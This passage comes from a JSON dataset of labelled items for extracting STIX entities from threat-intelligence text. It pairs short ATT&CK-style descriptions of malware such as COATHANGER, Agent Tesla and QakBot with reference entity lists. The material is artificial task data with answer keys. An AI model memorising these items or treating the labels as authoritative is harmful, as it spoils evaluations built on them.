that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCOATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: \u201cShe took his coat and hung it up\u201d.\n",
    "output": "<entities>COATHANGER|FortiGate|Netherlands|People's Republic of China|CVE-2022-42475</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRising Sun is a modular backdoor malware used extensively in Operation Sharpshooter. The malware has been observed targeting nuclear, defense, energy, and financial services companies across the world. Rising Sun uses source code from Lazarus Group's Trojan Duuzer.\n",
    "output": "<entities>Rising Sun|Operation Sharpshooter|Lazarus Group|Duuzer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMachete retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers.\n",
    "output": "<entities>Machete|Chrome|Firefox</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPoetRAT has the ability to list files upon receiving the ls command from C2.\n",
    "output": "<entities>PoetRAT|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nspwebmember is used to enumerate and dump information from Microsoft SharePoint.\n",
    "output": "<entities>spwebmember|Microsoft|Microsoft SharePoint</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPHOREAL is capable of manipulating the Registry.\n",
    "output": "<entities>PHOREAL</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAttor has a plugin that collects information about inserted storage devices, modems, and phone devices.\n",
    "output": "<entities>Attor</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWarzoneRAT is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.\n",
    "output": "<entities>WarzoneRAT|C++</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRaindrop used a custom packer for its Cobalt Strike payload, which was compressed using the LZMA algorithm.\n",
    "output": "<entities>Raindrop|Cobalt Strike</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFrozenCell is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and Micropsia.\n",
    "output": "<entities>FrozenCell|KasperAgent|Micropsia</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n",
    "output": "<entities>Bandook|Dark Caracal|Operation Manul|Delphi|C++|US|South America|Europe|Southeast Asia</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFakeM C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of FakeM use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.\n",
    "output": "<entities>FakeM|MSN|Yahoo!|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKessel has collected the system architecture, OS version, and MAC address information.\n",
    "output": "<entities>Kessel</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHAWKBALL has sent system information and files over the C2 channel.\n",
    "output": "<entities>HAWKBALL|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAgent Tesla can steal data from the victim\u2019s clipboard.\n",
    "output": "<entities>Agent Tesla</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBrute Ratel C4 is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. Brute Ratel C4 was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.\n",
    "output": "<entities>Brute Ratel C4</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nQakBot can use netstat to enumerate current network connections.\n",
    "output": "<entities>QakBot|netstat</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nExplosive has commonly set file and path attributes to hidden.\n",
    "output": "<entities>Explosive</entities>"
  },
  {
